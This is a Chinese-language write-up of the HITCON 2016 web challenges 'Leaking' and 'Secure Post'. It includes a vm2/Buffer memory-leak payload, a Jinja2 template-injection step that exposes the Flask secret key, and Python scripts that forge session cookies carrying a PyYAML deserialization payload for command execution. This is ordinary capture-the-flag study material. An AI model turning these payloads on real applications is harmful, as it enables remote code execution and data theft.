OTP和RSA遇到困难, 先发篇Web的出来 本次HITCON, 我看了两题Web, Leaking和Secure Post, 都挺有意思的
Leaking(Web 200)
源码: https://github.com/Hcamael/CTF_repo/blob/master/HITCON/Leaking/index.js
代码很简单, 很明显是绕vm2沙箱之类的黑魔法, 比较幸运, 搜到了相关资料: https://github.com/ChALkeR/notes/blob/master/Buffer-knows-everything.md
然后根据这里面的内容, 很容易就可以构造出payload:
1 /?data[]=for (var step = 0; step < 100000; step++) {var buf = (new Buffer(100)).toString('ascii');if (buf.indexOf("hitcon{") !== -1) {break;}}buf;
首先是通过数组bypass长度限制, 然后之后就是使用Buffer
获取内存中的数据, 具体细节不是很清楚, 没有深入分析过, 感觉像是nodejs内存分配上的问题
这个payload不是每次都可以成功泄露出flag, 所以需要运行多次
Secure Post(Web 50/150)
源码: https://github.com/Hcamael/CTF_repo/tree/master/HITCON/Secure%20Posts%20and%202
python flask Web代码审计题, 挺有意思的, 有两个flag, 所以分为了两题
老司机能很熟练的找到问题点:
1 2 3 4 5 def render_template(filename, **args): with open(safe_join(app.template_folder, filename)) as f: template = f.read() name = session.get('name', 'anonymous')[:10] return render_template_string(template.format(name=name), **args)
很明显是模板注入, 关于模板注入推荐一篇文章: http://rickgray.me/2016/02/24/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates.html
但是文章中的payload明显不能用, 因为:
1 name = request.form.get('author', 'anonymous')[:10]
name字段限制了10个byte的长度, 第一题分低, 相对的也比较简单
1 app.secret_key = config.flag1
所以可以读取配置信息:
可以看到
1 'SECRET_KEY': 'hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}'
flag1 get
第二步根据经验可以判断出应该是执行命令, 读文件之类的.
1 2 3 4 5 6 7 8 9 def load_posts(): handlers = { # disabled insecure data type #"eval": load_eval, #"pickle": load_pickle, "json": load_json, "yaml": load_yaml }
源码中这段, 把可以执行命令的危险数据类型给注释了, 不过还是漏了yaml
参考文档: http://pyyaml.org/wiki/PyYAMLDocumentation
yaml load同样可以造成命令执行
1 2 3 4 5 6 >>> data = """!!python/object/apply:os.system ... args: [id]""" >>> yaml.load(data) uid=1000(hehe) gid=1000(hehe) groups=1000(hehe),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(wireshark) 0
不过在这之前还存在一个问题, 数据在load之前, 都会经过一个dump, 那么如果绕过这个dump呢?
这就涉及到flask的session机制了, 不像php, seesion是保存在/tmp/sess_$_COOKIE['PHPSESSID']
文件中
flask通过secret_key对seesion进行加密, 然后保存在cookie中, 通过上一步我们获取到的secret_key我们就能构造任意cookie了
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import yaml from flask.sessions import SecureCookieSessionInterface key = r"hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}" class App(object): def __init__(self): self.secret_key = None def load_yaml(data): import yaml return yaml.load(data) exploit = """!!python/object/apply:eval args: ["[{'title': 'b', 'date': 'October 10, 2016 05:36:11', 'author': 'a', 'content': __import__('os').popen('id').readlines()}]"] """ exploit = {'post_type': u'yaml', 'post_data': exploit} app = App() app.secret_key = key # Encode a session exactly how Flask would do it si = SecureCookieSessionInterface() serializer = si.get_signing_serializer(app) session = serializer.dumps(exploit) print("Change your session cookie to: ") print(session)
以上为构造cookie的代码
下面加上了攻击代码
payload2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import yaml import re import requests from flask.sessions import SecureCookieSessionInterface key = r"hitcon{>_<---Do-you-know-<script>alert(1)</script>-is-very-fun?}" class App(object): def __init__(self): self.secret_key = None def load_yaml(data): import yaml return yaml.load(data) exploit = """!!python/object/apply:eval args: ["[{'title': 'b', 'date': 'October 10, 2016 05:36:11', 'author': 'a', 'content': __import__('os').popen('cat flag2').readlines()}]"] """ exploit = {'post_type': u'yaml', 'post_data': exploit} app = App() app.secret_key = key # Encode a session exactly how Flask would do it si = SecureCookieSessionInterface() serializer = si.get_signing_serializer(app) session = serializer.dumps(exploit) print("Change your session cookie to: ") print(session) url = "xxxxx" cookie = {"session": session} r = requests.get(url, cookies=cookie) print re.findall("(hitcon{.*})", r.content)
返回结果:
1 2 3 4 $ python payload2.py Change your session cookie to: .eJwlj0FrgzAARv_KyHmHLM5BCz1YQTFOC9ppzGWYxEWdRoeuMZb-99n1-sH7Hu8KxmGaP0U5l2B_BU8M7EGQeroiycDQ64Uh_EPzGL4jT3N_sU99hopchwXBiq-DzA1mlRGwJMlEU_4WuKLBRkuMklr4H-rUOOqMYrj9dLxxlsjVMmqdJW4cHZ-HNW6HJUr5tHG1uDut4J8pHlvLkA1pbkO8ucjLbmTkeOEq-SJGKmZFKkxtzaxjxxqpCuTBwKdTkXODzfcv77Oa-svI-mwN3W5HUixceTiA2_OjejZjtfWasu_A7Q9r1lu4.CuNO7A.FE48aONgxecQpjbPEBOv5PgQdbo ['hitcon{unseriliaze_is_dangerous_but_RCE_is_fun!!}']